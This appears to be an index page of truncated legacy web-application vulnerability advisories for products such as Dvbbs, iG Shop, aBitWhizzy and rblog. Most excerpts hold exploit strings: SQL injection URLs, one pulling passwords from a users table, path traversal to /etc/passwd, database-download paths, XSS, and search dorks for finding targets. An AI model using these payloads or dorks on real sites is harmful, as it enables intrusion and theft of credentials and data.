Powered By Dvbbs Version 7.1.0 Sp1 By Pass

By : Hasadya Raed Contact : [email protected] Israel -------------------------- Script : Dvbbs Version 7.1.0 Sp1 Dork : "Powered By Dvbbs Version 7.1.0 Sp1" -------------------------- Exploit : http://www.victim.com/Data/Dvbbs7.mdb...

iG Shop 1.4 - page.php SQL Injection

iG Shop 1.4 - page.php SQL Injection Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

bloofox-rfi.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

CcCounter 2.0 cross-site scripting vulnerability

--------------------------------------- Title : CcCounter 2.0 cross-site scripting vulnerability Found By : CrackersChild Contact : localexploitdothotmaildotcom Dork : CcCounter 2.0 Statistics Exploit :...

gnopaste <= 0.5.3 (index.php) Remote File Include Vulnerability

t3K t4b4nc4 gnopaste = 0.5.3 index.php Remote File Include Vulnerability Script site: http://sourceforge.net/projects/gnopaste Find by TrZiNDaN Greetings; ELMuHaMMeD,CyberWolf,CrackersChild,EntriKa,Xyu,Sehzade, B4ct3ry,M3rhametsiz,Cold Z3ro,e-system,blackwolf,Paradox T3K T4B4NC4 Contact:...

FishCart [injection sql]

vendor site: http://fishcart.org/ product :fish cart bug:injection sql risk : medium injection sql : /display.php?cartid=200701210157208&zid=1&lid=1&olimit=5&cat=&key1=&nlst=y&olst='sql change the cartid value with yours laurent gaffie http://s-a-p.ca/ contact: [email protected]...

rblog Database Download Vulnerability

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered: Aria-Security Team Vendor:http://mike.dewolfe.bc.ca/scripts/rblog/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/data/admin.mdb http://TARGET/path/data/rblog.mdb Contact:...

Openforum Remote password Disclosure

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered: Aria-Security Team Vendor: http://www.2enetworx.com/dev/projects/openforum.asp Risk: Low Type:Remote Password Disclosure PoC: http://TARGET/path/openforum.mdb Contact: advisory@aria-security....

rblog-db.txt

Discovered: Aria-Security Team Vendor:http://mike.dewolfe.bc.ca/scripts/rblog/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/data/admin.mdb http://TARGET/path/data/rblog.mdb Contact: [email protected]...

battleblog-db.txt

Discovered: Aria-Security Team Vendor:http://www.battleblog.com/home/g/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/database/blankmaster.mdb Contact: [email protected]...

aria-duforum.txt

Aria-Security Team Advisory Original Advisory: http://www.aria-security.com/forum/showthread.php?t=58 ----------------------------------------------------------- Software: DUdForum 3.0 Method: http://duware.com Vendor: PoC: http://target/DUforum/messages.asp?iMsg=SQL Injection...

aria-dudown.txt

Aria-Security Team Advisory Original Advisory: http://www.aria-security.com/forum/showthread.php?t=60 ----------------------------------------------------------- Software: DuDownload Method: SQL Injection Vendor: http://duware.com PoC: http://target/type.asp?iType=SQL Injection...

aria-general.txt

Aria-Security Team Advisory ----------------------------------------------------------- Software: General Shopping Cart Method: SQL Injection Vendor:http://warhound.com PoC: http://target/item.asp?ItemID=SQL Injection Contact: [email protected]...

lel-sql.txt

vendor site: http://softacid.net/ product:Link Exchange Lite bug: injection sql risk : high injection sql post : /search.asp post your sql query into the search engine field injection sql get: /linkslist.asp?psearch='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

jiros.txt

vendor site:http://www.jiros.net/ product:JiRos Links Manager bug: injection sql & xss risk : medium injection sql: /openlink.asp?LinkID='sql /viewlinks.asp?CategoryID='sql xss permanent post: in: /submitlink.asp -Link Name: -Link URL: -Link Image: -Link Description: those xss are really dangerou...

aBitWhizzy (abitwhizzy.php) Information Disclosure Vulnerability

No description provided by source. aBitWhizzy local file include vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé http://s-a-p.ca/ contact...

aBitWhizzy [local file include]

vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffi & benjamin moss http://s-a-p.ca/ contact: [email protected]...

tcas.txt

vendor site: http://www.rockfordarea.com/ product : The Classified Ad System bug: multiple xss get & injection sql risk : medium injection sql get: /default.asp?action=view&main='sql injection sql post : just post your query into the search engine xss : /default.asp?action=view1&cat=xss...

eClassifieds.txt

vendor site: http://enthrallweb.com/ product : eClassifieds bug:injection sql risk : medium injection sql : /ad.asp?ADID='sql /ad.asp?catid='sql /dircat.asp?cid='sql /dirSub.asp?sid='sql /ad.asp?catid=35&subid='sql /ad.asp?catid=35&subid=102&adid='sql laurent gaffié & benjamin mossé...

blogcms400-rfi.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM blogcms ...